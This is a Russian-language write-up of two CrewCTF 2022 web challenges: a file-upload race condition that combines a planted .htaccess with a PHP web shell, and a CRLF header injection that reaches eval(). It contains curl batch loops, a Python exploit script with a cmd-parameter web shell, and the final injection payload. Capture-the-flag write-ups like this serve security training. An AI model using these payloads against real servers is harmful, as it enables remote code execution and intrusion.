CrewCTF 2022

Web Category — Uploadz.

Solves: 41
Points: 484
Description: I think this site safe from upload file, prove me wrong please.
https://uploadz-web.crewctf-2022.crewc.tf/

Сбор информации по веб сайту.

Так как изначально были даны исходники сайта, всё оказалось проще, чем обычно бывает при тестировании методом "Черной коробки". Функционал сайта заключался только в загрузке любого файла и последующего доступа к этому файлу.

Интересные моменты в исходниках.

Файл .htaccess запрещал доступ к файлам с расширением .php:

    RewriteCond %{REQUEST_FILENAME} -f
    RewriteCond %{REQUEST_FILENAME} \.php$
    RewriteRule !^index.php index.php [L,NC]

В файле с конфигом апача, как это обычно и бывает был запрет на доступ к файлам которые начинаются на .ht:

<FilesMatch "^\.ht">
    Require all denied
</FilesMatch>

В файле index.php, было несколько интересных моментов. Во первых, название файла который мы грузили, обрезалось с помощью функции basename(), следующие две строки, которые нужны были чтобы убрать из названия файла точки дальше в коде нигде не использовалось.

    $fileName = basename($_FILES['uploadedFile']['name']);
    $fileNameCmps = explode(".", $fileName); // не использовалось дальше
    $fileExtension = strtolower(end($fileNameCmps)); // не использовалось дальше

Также было интересно то, что в конечном итоге, загруженный файл хранился по следующему пути:

/storage/app/uploads/<6_random_letters><Initial_File_Name>

Но при изначальной загрузке, файл грузился в директорию temp, потом копировался в uploads и удалялся из temp через секунду, а путь в temp выглядел следующим образом:

/storage/app/temp/<Initial_File_Name>

Идея эксплуатации заключалас в том, чтобы загрузить одновременно два файла:

  1. Свой файл .htaccess, в котором нужно будет добавив следующее правило:
    AddType application/x-httpd-php .phtml # Либо любое другое расширение
  2. Свой файл с расширением .phtml (или любым другим указанным в .htaccess), в котором будет наш PHP пейлоад, например:
    <?php echo shell_exec(cat /flag.txt); ?>

    Теперь к реализации 🙂

Сложное (и супер костыльное) изначальное решение.

P.S. Сначала будет отговорка, почему такое плохое решение. Короче я болел во время решения этого задания, шёл 10-ый час попыток его решить, у меня че то не получалось написать питоновский скрипт для загрузки файлов через модуль requests, да и вообще я в тот день встал не с той ноги и звезды на небе неправильно сошлись, да и вообще нет друг я не оправдываюсь, просто ты ё**ное муд.., кто понял тот понял.

Как я уже написал выше, так как у меня не получалось загрузить файлы через питоновский скрипт, было принято решение грузить их с помощью curl. Причём, так как я туповат, и не вдуплил, что всё можно было сделать одним batch скриптом, то вот:

  1. Создаем первый batch скрипт, который будет в бесконечном цикле грузить на сервер файл .htaccess
    @echo off
    :x
    curl -v -F submit="Upload Image" -F uploadedFile="@.htaccess;type=application/x-extension-htaccess" http://uploadz-web.crewctf-2022.crewc.tf/
    goto x
  2. Создаем второй batch скрипт, который будет в бесконечном цикле обращаться к загружаемому файлу с PHP кодом
    @echo off
    :x
    curl http://uploadz-web.crewctf-2022.crewc.tf/storage/app/temp/hollywarrior1.phtml
    goto x
  3. Запускаем одинарную команду которая, загрузит файл с PHP кодом.
    curl -v -F submit="Upload Image" -F uploadedFile="@hollywarrior1.phtml;type=application/x-httpd-php" http://uploadz-web.crewctf-2022.crewc.tf/ --proxy 127.0.0.1:8080

    Использовал флаг —proxy чтобы в бурпе точно увидеть, что мой запрос отправлен правильно

И во вкладке где запускали второй batch скрипт, видим флаг:
flag1

🚩crewctf{upload_rce_via_race}🚩

Решение с одним batch скриптом

Это вроде бы самый норм вариант, но надо ещё как-то доработать, чтобы вызывать обращение к файлу с PHP кодом не в бесконечное кол-во раз. В общем вот:

@echo off
call "cmd /c start curl -v -F submit="Upload Image" -F uploadedFile="@hollywarrior1.phtml;type=application/x-httpd-php" http://uploadz-web.crewctf-2022.crewc.tf/"
call "cmd /c start curl -v -F submit="Upload Image" -F uploadedFile="@.htaccess;type=application/x-extension-htaccess" http://uploadz-web.crewctf-2022.crewc.tf/"
:x
curl http://uploadz-web.crewctf-2022.crewc.tf/storage/app/temp/hollywarrior1.phtml
goto x

Вот результат:
flag2

Решение с помощью питоновского скрипта:

Это решение взято от сюда: https://github.com/ixSly/CTFs/tree/master/CrewCTF#uploadz-web (спасибо автору)

import requests
import re
import urllib3
import threading
import time
import sys

urllib3.disable_warnings()
file = ".htaccess"
file2 = "test.jpg"
path = "storage/app/temp/"
files = {
        'uploadedFile': (file, "AddType application/x-httpd-php .jpg", 'text/plain')
}
files2 = {
        'uploadedFile': (file2, """<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>""", 'text/plain')
}
values = {'submit': 'Upload Image'}
url = "https://uploadz-web.crewctf-2022.crewc.tf/"

def performReqs(uploadedFile):
    r = requests.post(url, files=uploadedFile,proxies={"https":"http://127.0.0.1:1337"},verify=False,data=values)
    filename = re.search("your file in (.*)<",r.text)

cmd = sys.argv[1]

t1 = threading.Thread(target=performReqs, args=(files,))

t2 = threading.Thread(target=performReqs, args=(files2,))

t2.start()
t1.start()

r2 = requests.get(url+path+"test.jpg?cmd={}".format(cmd), verify=False,proxies={"https":"http://127.0.0.1:1337"})
print(r2.text)

Для получения флага:

python3 slv.py "cat /flag.txt"

Бонус в виде первого (легкого) веб таска 🙂

Solves: 90
Points: 118
Description: Cleaning urls as a Service , Can you pwn my Service?
Author: omakmoh#1070
http://193.105.207.19:5001/

В данном таске была уязвимость переноса строки. В исходниках были интересны, следующие строки:

В файле php.ini запрет на следующие функции (разрешена только shell_exec()):

disable_functions = proc_open, popen, disk_free_space, diskfreespace, set_time_limit, leak, tmpfile, exec, system, passthru, show_source, system, phpinfo, pcntl_alarm, pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_dispatch, pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_exec, pcntl_getpriority, pcntl_setpriority

В файле index.php, передавался параметр url, необработанное значение которого, отправлялось в заголовке X-Original-URL запросом к cleaner.php

if($_SERVER['REQUEST_METHOD'] == "POST" and isset($_POST['url']))
    {
        clean_and_send($_POST['url']);
    }

    function clean_and_send($url){
            $uncleanedURL = $url; // should be not used anymore
            $values = parse_url($url);
            $host = explode('/',$values['host']);
            $query = $host[0];
            $data = array('host'=>$query);
            $cleanerurl = "http://127.0.0.1/cleaner.php";
            $stream = file_get_contents($cleanerurl, true, stream_context_create(['http' => [
            'method' => 'POST',
            'header' => "X-Original-URL: $uncleanedURL",
            'content' => http_build_query($data)
            ]
            ]));

В файле cleaner.php обрабатывался запрос, и если встречался заголовок X-Visited-Before, то его значение передавалось в функцию eval().

function tryandeval($value){
                echo "<br>How many you visited us ";
                eval($value);
        }

foreach (getallheaders() as $name => $value) {
    if ($name == "X-Visited-Before"){
        tryandeval($value);
    }}

И чтобы вместе с дефолтным передаваемым заголовком X-Original-URL передать ещё один, можно использовать атаку под названием CRLF injection. Её смысл в том, что мы передаём символы переноса строки. В URL энкодинге это: %0d%0a.

Итоговый пейлоад:

url=http://asd.qwe/?%0d%0aX-Visited-Before:%20echo%20`cat%20/maybethisistheflag`;

🚩crew{crlF_aNd_R357r1C73D_Rc3_12_B0R1nG}🚩

Полезные ресурсы:

  1. Про CRLF injection — https://book.hacktricks.xyz/pentesting-web/crlf-0d-0a
  2. Ссылка на чувака который решил питоном — https://github.com/ixSly/CTFs/tree/master/CrewCTF
  3. Руководство по PHP — https://www.php.net/manual/ru/index.php
  4. Всевозможные приколы с загрузкой файла .htaccess — https://github.com/wireghoul/htshells

Оставьте комментарий